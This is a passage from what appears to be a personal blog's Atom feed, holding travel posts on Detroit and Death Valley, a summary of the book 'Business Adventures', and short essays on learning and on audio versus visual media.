<p>The city neighborhood looks in the state of somewhat despair, even though the suburbs like Dearborn, where Henry Ford was born, are in much better shape. The motor city is spread out, so don&rsquo;t leave the airport without renting a car. Another thing that stands out is the sheer number of Arabs and the Arabic language as the second or the third language on the signboards.</p>
<h2 id="day-1">Day 1</h2>
<p>I started my trip with a visit to   
    
    
<a href="https://www.atlasobscura.com/places/grande-ballroom?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Grande Ballroom</a>, as of Oct 2016, contrary to what Atlas Obscura says there is no way to enter inside.</p>
<figure>
    
    <a href="IMG_1169-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1169-1024x768.jpg"
         alt="Grande Ballroom" width="900"/> </a>
</figure>

<p>From there, I continued to   
    
    
<a href="https://www.motownmuseum.org/about-the-museum/the-collection/studio-a/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Motown museum Hitsville</a>, during the era of 
<a href="/travel/birmingham-alabama">racial segregation</a>, this museum used to provide an upward mobility opportunity to black artists. The tour is impressive, show up early in the morning or buy the ticket in advance. Without a prior reservation, I barely made it in.</p>
<figure>
    
    <a href="IMG_1171-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1171-1024x768.jpg"
         alt="Motown Museum" width="900"/> </a>
</figure>

<p>From there, I headed to the Detroit museum.  That&rsquo;s where I learned that the original name was &ldquo;Ville De Troie&rdquo; during the French occupation, and Britishers transformed it to Detroit. In retrospect, going to the Detroit museum was a bad idea. The museum is excellent, but some other museums like the Ford museum are far better. I headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g42139-d4310109-Reviews-Campus_Martius_Park-Detroit_Michigan.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Camp Martius Park</a> afterward. That in itself isn&rsquo;t great, but I planned to do a   
    
    
<a href="https://www.eventbrite.com/e/best-of-downtown-walking-tour-tickets-21279339076?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Walking tour</a>, which provided the missing narrative around the downtown buildings. And one does get access to some private buildings as a part of the tour. And while you are in this area, do check out the   
    
    
<a href="https://www.atlasobscura.com/places/giant-boxing-arm-of-joe-louis?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Giant Boxing arm of Joe Louis</a>, it is controversial as some think it symbolizes black violence.</p>
<figure>
    
    <a href="IMG_1183-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1183-1024x768.jpg"
         alt="A large sculpture of a boxing glove mounted on a horizontal bar, situated outdoors. It potentially symbolizes an aspect of culture, installed in a public area suitable for visitors." width="900"/> </a>
</figure>

<p>I headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g42139-d146679-Reviews-Greektown-Detroit_Michigan.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Greektown</a> for dinner, which had the nightlife was atypical of an American city. I decided to take an early sleep for the next day instead.</p>
<h2 id="day-2">Day 2</h2>
<p>I started the day with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g42139-d636238-Reviews-The_Heidelberg_Project-Detroit_Michigan.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The Heidelberg Project</a>, which is an artistic work from scrap. I wouldn&rsquo;t recommend it unless you are staying nearby and even in that case, don&rsquo;t spend more than 15 mins here.</p>
<figure>
    
    <a href="IMG_1193-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1193-1024x768.jpg"
         alt="Heidelberg Project" width="900"/> </a>
</figure>

<p>I headed to   
    
    
<a href="https://www.atlasobscura.com/places/michigan-central-station?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Michigan Central Station</a> next, which again is a no-entry zone, and I couldn&rsquo;t figure out any way to get in. Even then, it is still worth a visit, except, since this is located on the outskirts, I would recommend going to the Ford Piquette Plant first.</p>
<figure>
    
    <a href="IMG_1198-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1198-1024x768.jpg"
         alt="A historical building with a wooden exterior, the Ford Piquette Plant, surrounded by urban outskirts, capturing industrial heritage." width="900"/> </a>
</figure>

<p>I next headed to the Ford Piquette Plant, which was the highlight of the trip. It was Ford&rsquo;s first plant and has now been converted into a museum. The legendary   
    
    
<a href="https://en.wikipedia.org/wiki/Ford_Model_T?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Model T</a> was first produced here.  I would highly recommend doing a guided tour here.</p>
<figure>
    
    <a href="IMG_1199-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1199-1024x768.jpg"
         alt="Ford Piquette Plant" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_1204-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1204-1024x768.jpg"
         alt="Ford Piquette Plant" width="900"/> </a>
</figure>

<p>I spent about three hours here and headed immediately to the Ford Museum in Dearborn.
That museum is much bigger and provides a general history of the automobile industry along with its impact on American culture in the form of drive-ins and motels.
It also talks about the fall of large American cars to consumer preference for smaller and efficient Japanese ones.
It has factory tours on weekdays.</p>
<figure>
    
    <a href="IMG_1212-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_1212-1024x768.jpg"
         alt="Ford Museum Dearborn" width="900"/> </a>
</figure>

<p>I finished the trip with a  Broadway show at the Detroit Opera house.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/><category scheme="https://ashishb.net/tag/detroit" term="detroit" label="detroit"/></entry><entry><title type="html">Book summary: "Business Adventures" by John Brooks</title><link href="https://ashishb.net/book-summary/business-adventures/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-subtle-art-of-not-giving-a-fck/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The subtle art of not giving a f*ck by Mark Manson"/><link href="https://ashishb.net/book-summary/sapiens/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Sapiens: A brief history of Humankind"/><link href="https://ashishb.net/book-summary/brandwashed/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Brandwashed by Martin Lindstorm"/><link href="https://ashishb.net/book-summary/where-good-ideas-come-from/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Where good ideas come from" by Steven Johnson'/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><id>https://ashishb.net/book-summary/business-adventures/</id><author><name>Ashish Bhatia</name></author><published>2017-03-20T07:10:58+00:00</published><updated>2017-03-20T07:10:58+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the best business insights from the 1960s Wall Street stories acclaimed by Bill Gates and Warren Buffett</blockquote><p>The   
    
    
<a href="https://amzn.to/2mfqilI?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is rated as the   
    
    
<a href="https://www.gatesnotes.com/Books/Business-Adventures?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">best business book</a> by both Bill Gates and Warren Buffett.</p>
<p>It consists of 12 chapters, with one story each, most of them from the Wall Street of the 1960s. On the surface, the stories will appear completely unrelated but underneath the idea is to touch all aspects of the business. The stories can roughly be divided into two parts</p>
<h3 id="business">Business</h3>
<ol>
<li>R&amp;D - The story of Xerox is a company&rsquo;s dangerous bet on making photocopying work</li>
<li>Product - The story of Ford&rsquo;s Edsel is about the failure of overhyped products</li>
<li>Communication - The story of GE is about illegal price fixation and intra-company communication</li>
<li>Trade Secrets - The story of Goodrich engineer leaving the company for a competitor is about the role of trade secrets</li>
<li>Insider Trading - The story of Texas Gulf Sulpher is about employees ability to trade on insider information</li>
<li>Public vs private sector - The story of  Lilienthal is about the role a person coming from the public sector played in the private sector</li>
</ol>
<h3 id="market">Market</h3>
<ol>
<li>Market manipulation - The story of Piggly Wiggly is about how publicly traded companies have to face market manipulation</li>
<li>Market fraud - The story of Haupt is about the role of exchange in protecting customers of the exchange member firms against fraud by those members to increase confidence in the market for the retail investors</li>
<li>Market Crash - The story of the small market crash of 1962 is about the role of exchange and the mutual funds to prevent the irrational behavior from causing wide swings in the market.</li>
<li>Currency crisis - The story of the British Sterling&rsquo;s fight against its devaluation is about the role of central banks in preventing a currency crisis.</li>
</ol>
<p>The book also contains a general discussion on Federal Income Tax and the role of the stockholder meetings. Both of these, in my opinion, can be skipped.</p>
<h3 id="rd">R&amp;D</h3>
<p>Carlson and Kornei came up with a basic photocopying process in 1938 at a non-profit industrial research Institute Battelle Memorial Institute, Columbus, Ohio. Carlson patented it and sold it to Battelle, who resold it to Haloid for royalty. From 1947 to 1960, Haloid spent $75M (twice its earnings) on the photocopy process, more stock issues were raised, employees were paid in stock. By 1960, the fortunes were completely turned around. The investment, not only made Xerox employees richer but produced tremendous value for Carlson and the University of Rochester which invested in Haloid (now Xerox) in its early days. (ashishb&rsquo;s note: This is worth contrasting with how Xerox being analogous to photocopying 
<a href="/tech/nokia-and-the-smartphone-era/">prevented</a> Xerox from ever succeeding in the PC business since consumers never associated Xerox with PCs)</p>
<h3 id="product">Product</h3>
<p>In 1955, Ford wanted to come out with a new compact car for the emerging middle class of the US, they did except by the time car came out it was too late to the market and the compacts had taken over. Edsel is the name of Henry&rsquo;s son and that didn&rsquo;t bode well with the employees either who felt that it had dynastic connotations. This was further followed by high-handedness in selecting the dealers. In July 1957, the stock market took a nosedive. It was introduced in the last quarter of 1957 with a lot of fanfare only to be criticized for its poor manufacturing quality, bad appearance, and high price. Eventually, the Edsel division was folded into other divisions and the car was removed from the market. Overall, loss to Ford was about $250M.</p>
<h3 id="organizational-communication">Organizational communication</h3>
<p>From 1956 to 1959, 29 companies selling heavy electrical machinery engaged in illegal price fixation. In 1961, these companies, with GE as the ringleader, were prosecuted for both civil and criminal violations. Two things went wrong, employees in sales were reminded that price fixation is illegal with a wink, and employees who were engaged in such meetings (referred with code words) were being rewarded.</p>
<blockquote>
<p>I receive my business guidance from the communication, oral and written, and through a more visceral medium of &ldquo;impacts&rdquo; - a GE manager during Senate testimony on price fixation</p></blockquote>
<p>The actions of people in managers in GE were the impacts that influenced the thinking and taught many what the true attitude of the company is. As the senior managers tried to cut down on these price-fixing meetings, they faced another problem, employees would simply ignore such instructions thinking that what&rsquo;s being communicated is the opposite. Many were fined, lost careers, and sent to prison eventually.</p>
<h3 id="trade-secrets">Trade Secrets</h3>
<p>In 1961, A Goodrich engineer Wohlgemuth working on space suits decides to leave and join International Latex Corporation (ILC), which has recently won a govt contract for spacesuits. Goodrich took this to court claiming that the engineer knew too much about the trade secrets and if he joins the competitor he will leak them. ILC fought back the case. Media attention was on the case since the decision implied whether companies can enforce proprietary trade secrets from leaking or can they just steal it. The other implications were on the career of these researchers who could become a slave for life for a firm if they weren&rsquo;t allowed to join the competitor. The final decision went in favor of the engineer and consisted of two arguments.</p>
<ol>
<li>One free bite - Every dog has one free bite before it is considered vicious. Wohlgemuth would be assumed to be not leaking secrets unless proven otherwise.</li>
<li>With the number of co-workers, the engineer has, if something is leaked then there is a high chance someone will inform Goodrich.</li>
</ol>
<h3 id="insider-trading">Insider Trading</h3>
<p>Texas Gulf found huge Sulpher mines in Eastern Canada. As the discovery for being confirmed, many insiders bought shares. After the public announcement of the news, a director immediately called his family members to buy shares. SEC bought cases on both counts. In the first case, the judge decided that the confirmation was not strong enough, so, information was not material enough. In the second case, the judge decided that as soon as the news is made public, taking actions on that is legal and SEC is welcome to change rules for the future but not retroactively.</p>
<h3 id="public-vs-private-sector">Public vs private sector</h3>
<p>(ashishb: The chapter focuses too much on a private individual, Lilienthal, and is not of much use except for a few beautiful quotes)
Lilienthal was heading Tennesse Valley Authority and left that to start working in the private sector, he had a great career.</p>
<blockquote>
<p>Business has its man-eating side, and part of the man-eating side is that it&rsquo;s so absorbing.</p>
<p>Making a million - I was surprised of course. It&rsquo;s like when you are a boy and you try to jump six feet. Then you find you can jump six feet, now what?</p></blockquote>
<h3 id="market-manipulation">Market manipulation</h3>
<p>Piggly Wiggly stores were started in Memphis, Tennessee. Once successful, they went in with a franchise model, when some of the franchise closed in 1922, then some players on the Wall street decide to short the share. Adamant at beating the pros at their game, the founder, Saunders decided that he will &ldquo;corner&rdquo; the market by buying all the stocks which were being traded and then lend it for short selling, and once no publicly trading stock is available will demand that his stock is returned. Since he will be the only one holding the majority of the stock, he can charge whatever price he can for that. The plan was great, except, the pros had better connection them him. The exchange suspended the trading of the stock. And the pros figured out that many widows and pension funds are holding the stock which cannot be traded anymore. They happily sold those stock certificates. Saunders who borrowed the money to buy this stock was in the deep red (badly under debt). New York stock exchange apologized by stating that the public harm was more dangerous than keeping the southern pride alive. Saunders had to file bankruptcy and his future entrepreneurial attempts were failures.</p>
<h3 id="market-fraud">Market Fraud</h3>
<p>Haupt, a member of the New York Stock Exchange, was doing Cottonseed trading on behalf of a client, Alliant. The account was not only leveraged and largest for Haupt, but it also turns out later that the collateral receipts were fake. The company was bankrupt and the exchange took a major step in ensuring that the innocent customers of Haupt, should not lose anything in the process. The exchange convinced its members to put the money, it even convinced European banks who were the creditors to let the customers get to the &ldquo;whole&rdquo; first. The event was lauded as confidence-inspiring by major newspapers. Eventually, customers got everything, creditor banks got about 50% back.</p>
<h3 id="market-crash">Market Crash</h3>
<blockquote>
<p>Psychological gestures on the Wall Street work when they are neither really needed; nor intended.</p></blockquote>
<p>In 1962, the stocks were trending downwards and the biggest theory was that the small investors were losing confidence and during the panic were pulling money out of the mutual funds which were forced to sell stocks to raise cash for redemption. What turned out is that most of the selling was due to margin calls, so, most sellers were playing the market on the borrowed money. And downward trending forced them to sell. Eventually, a fund manager spotted a deal for Telephone (AT&amp;T) and decided to buy it, as it started trending upwards, the other stocks moved upwards as well. And the market changed from seller dominant to buyer dominant. And as the stocks keep climbing upwards, the mutual funds cashed out on the profit leading to more stabilization. Overall, mutual funds acting in their selfish interest provided stabilization to the market.</p>
<h3 id="currency-crisis">Currency Crisis</h3>
<p>In 1964, the British pound was guaranteed to trade in the range of $2.78 to $2.82,  if it is trading closer to $2.78 than Bank of England will buy it off the market by making payments in Gold, and in the reverse scenario Bank of England will accumulate Gold. But the balance of payments was against Britain and the pound was tilting closer towards $2.78. As the bank lost more and more Gold, many central banks came together to prevent the collapse of the British pound by pledging $2.85 B. This pushed the speculators back but since the balance of trade was broken, 3 years later, Britain was in the same situation, with the earlier loans unpaid for. This time the market won and the pound was devalued to $2.38 to $2.42 range. This immediately was followed by the buying of Gold (or selling of Dollar) in many parts of Europe including London. It became clearer that France has a hand in this to cause the devaluation of the Pound and the Dollar. Members of the Gold Pool met, introduced many sanctions to cut down the shortage, and then introduced special drawing rights for the paper gold (ashishb&rsquo;s note: The book was published in 1969 before the US govt. in 1971 decided that   
    
    
<a href="https://en.wikipedia.org/wiki/Nixon_shock?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">convertibility</a> of the Dollar to Gold won&rsquo;t be allowed anymore).</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">Learning vs remembering</title><link href="https://ashishb.net/misc/learning-vs-remembering/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/internet-and-the-city-advantage/?utm_source=atom_feed" rel="related" type="text/html" title="The Internet and the City Advantage"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><link href="https://ashishb.net/misc/statistical-outcomes-require-statistical-games/?utm_source=atom_feed" rel="related" type="text/html" title="Statistical outcomes require statistical games"/><link href="https://ashishb.net/misc/status-symbol/?utm_source=atom_feed" rel="related" type="text/html" title="Status Symbol"/><id>https://ashishb.net/misc/learning-vs-remembering/</id><author><name>Ashish Bhatia</name></author><published>2017-03-18T03:53:04+00:00</published><updated>2017-03-18T03:53:04+00:00</updated><content type="html">&lt;blockquote>Unlock the secrets of the human brain: Discover how learning and memorization differ and how experts excel in both to boost your cognitive skills.&lt;/blockquote>&lt;p>The way the human brain learns is different from how it remembers.
Good practitioners know how to remember.
Good teachers know how to make others learn.&lt;/p>
</content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Death Valley in 3 days</title><link href="https://ashishb.net/travel/death-valley/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Cave Exploration at Lava Beds National Monument"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/a-vegetarian-lunch-at-french-laundry/?utm_source=atom_feed" rel="related" type="text/html" title="A vegetarian lunch at French Laundry"/><link href="https://ashishb.net/travel/mt-whitney/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Whitney in winters"/><id>https://ashishb.net/travel/death-valley/</id><author><name>Ashish Bhatia</name></author><published>2017-03-05T02:21:12+00:00</published><updated>2017-03-05T02:21:12+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Death Valley in three days! From serene waterfalls to starry nights at Furnace Creek, embrace nature’s extremes while staying cool and prepared.</blockquote><p>We made this trip over three days in December; even then, Death Valley National Park was warm during the day and cold at night. Therefore, I would warn against going there in summer, where it could be unbearably hot.</p>
<h2 id="day-1">Day 1</h2>
<p>We entered from the west side and started our trip with Darwin Falls. The falls are not massive, but given that the desert surrounds them, it is a site worth visiting. We only did the first falls, and those will four-wheel drive can drive 2 miles to the second falls.</p>
<figure>
    
    <a href="Darwin_falls-1024x678.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Darwin_falls-1024x678.jpg"
         alt="A waterfall cascading over rocks in a natural setting, surrounded by lush greenery" width="900"/> </a>
</figure>

<p>From there, we headed to   
    
    
<a href="https://gurmeet.net/hiking/hikes/Mosaic_Canyon.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mosaic Canyons</a> and hiked there.</p>
<figure>
    
    <a href="DSC_0117-1024x678.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="DSC_0117-1024x678.jpg"
         alt="A narrow rocky canyon with layered rock formations, displaying striations and smooth surfaces. The path suggests a natural hiking trail through Mosaic Canyon&#39;s distinctive geology." width="900"/> </a>
</figure>

<p>We camped at the Furnace Creek campground. Away from the light pollution, the night was starry and serene.</p>
<figure>
    
    <a href="DSC_0143-1024x678.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="DSC_0143-1024x678.jpg"
         alt="A tent is set up in the serene, starry night at Furnace Creek campground, with minimal light pollution highlighting the night sky." width="900"/> </a>
</figure>

<h2 id="day-2">Day 2</h2>
<p>On the second day, we started early morning and headed to   
    
    
<a href="https://gurmeet.net/hiking/hikes/Corkscrew_Peak.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Corkscrew Peak</a>. It&rsquo;s a strenuous 9.5 miles, but views from the top make it worth it. And since it&rsquo;s mostly gravel, the chance of losing the trail is pretty high. Never lose tracks of grottos (man-made stone piles of stones on top of each other).</p>
<figure>
    
    <a href="IMG_20131222_100453-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131222_100453-768x1024.jpg"
         alt="A rocky path lined with man-made stone piles, known as grottos, indicating hiking trail markers in a natural setting." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20131222_115550-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131222_115550-1024x768.jpg"
         alt="Hiking trip, finishing with a visit to Corkscrew Peak by midday." width="900"/> </a>
</figure>

<p>We were done with Corkscrew Peak by the middle of the day and post-lunch. We first headed to   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g143021-d531585-Reviews-Dante_s_View-Death_Valley_National_Park_California.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Dante&rsquo;s View</a>, followed by the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g143021-d116979-Reviews-Badwater-Death_Valley_National_Park_California.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Badwater Basin</a>, which, for a long while, was the lowest point on the planet.</p>
<figure>
    
    <a href="DSC_0513-1024x678.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="DSC_0513-1024x678.jpg"
         alt="A landscape photograph taken at sunrise at Zabriskie Point, capturing the desert terrain with a backdrop of colorful sky" width="900"/> </a>
</figure>

<h2 id="day-3">Day 3</h2>
<p>We started the day with sunrise at   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g143021-d116978-Reviews-Zabriskie_Point-Death_Valley_National_Park_California.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Zabriskie Point</a>, highly recommended.</p>
<figure>
    
    <a href="IMG_20131223_073237-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20131223_073237-1024x768.jpg"
         alt="A landscape photo of Zabriskie Point, Death Valley National Park, features rugged rock formations under a clear sky. The area is a popular hiking and casual rock climbing destination." width="900"/> </a>
</figure>

<p>Nature Bridge road is nearby, and if you are into casual rock climbing, then carry gloves. The hike otherwise is relatively uneventful.</p>
<figure>
    
    <a href="DSC_0520-678x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="DSC_0520-678x1024.jpg"
         alt="Hiking" width="900"/> </a>
</figure>

<figure>
    
    <a href="DSC_0539-678x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="DSC_0539-678x1024.jpg"
         alt="A rocky, uneven terrain stretches across a desert landscape under a clear blue sky, indicating a barren, rugged environment. The location is identified as Devil&#39;s Golf Course." width="900"/> </a>
</figure>

<p>Next, we headed to the   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g143021-d144559-Reviews-Devil_s_Golf_Course-Death_Valley_National_Park_California.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Devil&rsquo;s Golf Course</a>, which wasn&rsquo;t that good, and I would recommend skipping it if you are running short on time.</p>
<figure>
    
    <a href="DSC_0560-1024x678.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="DSC_0560-1024x678.jpg"
         alt="A scenic photograph of a desert landscape with mountains under a clear blue sky, taken in the evening light, capturing the natural beauty and tranquility of the location." width="900"/> </a>
</figure>

<p>Afterward, we drove through the artist&rsquo;s drive, and it was a bit late in the evening. If you are in Death Valley, you might as well do it, but nothing outstanding about it.</p>
<figure>
    
    <a href="DSC_0599-1024x678.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="DSC_0599-1024x678.jpg"
         alt="A vast desert landscape under a clear sky in Death Valley" width="900"/> </a>
</figure>

<p>Overall, it&rsquo;s a highly recommended experience for nature lovers.</p>
<p>Note:</p>
<ol>
<li>Do carry a lot of water, sometimes you would be hours away from water, and even in December, getting a heat stroke is not impossible in Death Valley.</li>
<li>There were few things which we couldn&rsquo;t do,   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60787-d143007-Reviews-Harmony_Borax_Works-Death_Valley_Junction_California.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Harmony Borax Works</a>,   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g143021-d108685-Reviews-Borax_Museum-Death_Valley_National_Park_California.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Borax Museum</a>, and   
    
    
<a href="https://www.nps.gov/deva/planyourvisit/the-racetrack.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">The racetrack</a> due to the lack of four-wheel drive and being short on time.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/death-valley" term="death-valley" label="death-valley"/><category scheme="https://ashishb.net/tag/california" term="california" label="california"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Consumer Internet: why audio can't be as big as photos or videos</title><link href="https://ashishb.net/tech/consumer-internet-why-audio-cant-be-as-big-as-text-photos-and-videos/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/google-io-2017-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2017: Android Notes"/><link href="https://ashishb.net/tech/apple-vs-google-naming-of-flagship-android-vs-iphone/?utm_source=atom_feed" rel="related" type="text/html" title="Apple vs Google: Naming of flagship Android vs iPhone"/><link href="https://ashishb.net/tech/90-vs-99/?utm_source=atom_feed" rel="related" type="text/html" title="90% vs 99%"/><link href="https://ashishb.net/tech/outsourcing/?utm_source=atom_feed" rel="related" type="text/html" title="Why software outsourcing gets a bad reputation?"/><link href="https://ashishb.net/tech/journey-of-online-influencers/?utm_source=atom_feed" rel="related" type="text/html" title="Journey of online influencers"/><id>https://ashishb.net/tech/consumer-internet-why-audio-cant-be-as-big-as-text-photos-and-videos/</id><author><name>Ashish Bhatia</name></author><published>2017-02-27T00:38:58+00:00</published><updated>2017-02-27T00:38:58+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why audio is less engaging than video and how this affects our attention. Understand why most audio consumption occurs during multitasking activities.</blockquote><figure>
    
    <a href="senses-thumb.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="senses-thumb.jpeg"
         alt="Bandwidth usage of various sensory organs" width="900"/> </a>
</figure>

<p>Our brain loves distractions, and multitasking gets bored quickly.
When we read text or watch a photo, it engages us visually, a video (with audio) engages us even more.
The bandwidth of eyes is much larger than the bandwidth of our ears.
When we are watching something, it utilizes more bandwidth and hence occupies more of our attention span.
Also, given the way our eyes work, we can focus more on the exciting aspect of the visual feed.
Compared to that, audio underutilizes our brain&rsquo;s bandwidth.
Further, the unidimensional flow of audio data at a linear speed does not mimic our ability to process it.
Contrast forced direct listening with how non-linearly humans   
    
    
<a href="https://web.archive.org/web/20161120202346/https://www.graphics.com/article-old/how-people-read?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">read</a>.</p>
<figure>
    
    <a href="eye-movement-reading.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="eye-movement-reading.jpg"
         alt="How human eyes jump around while reading" width="450"/> </a>
</figure>

<p>And that&rsquo;s why video games are even more engaging than video. They utilize the bandwidth even further by forcing us to think and act in the game.</p>
<p>Since audio underutilizes our brain&rsquo;s bandwidth, it leaves spare bandwidth for distractions, including eating food, driving, and exercising.
No wonder most audio consumption is passive and happens as a secondary activity as opposed to being a mainstream activity like reading or watching movies.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Book summary: "Where good ideas come from" by Steven Johnson</title><link href="https://ashishb.net/book-summary/where-good-ideas-come-from/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/the-subtle-art-of-not-giving-a-fck/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The subtle art of not giving a f*ck by Mark Manson"/><link href="https://ashishb.net/book-summary/sapiens/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Sapiens: A brief history of Humankind"/><link href="https://ashishb.net/book-summary/brandwashed/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Brandwashed by Martin Lindstorm"/><link href="https://ashishb.net/book-summary/business-adventures/?utm_source=atom_feed" rel="related" type="text/html" title='Book summary: "Business Adventures" by John Brooks'/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><id>https://ashishb.net/book-summary/where-good-ideas-come-from/</id><author><name>Ashish Bhatia</name></author><published>2017-01-17T09:56:00+00:00</published><updated>2017-01-17T09:56:00+00:00</updated><content type="html"><![CDATA[<blockquote>Explore how innovation thrives in liquid networks and the &ldquo;adjacent possible,&rdquo; with insights from history and nature. Discover the secrets to groundbreaking ideas.</blockquote><p>The   
    
    
<a href="https://amzn.to/2jOkL01?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> presents a robust theoretical framework around how good ideas emerged in human history and debunking myths associated with the same. The underlying theme of the book is how coral reefs, big cities, and the worldwide web provide the right platform for innovation.</p>
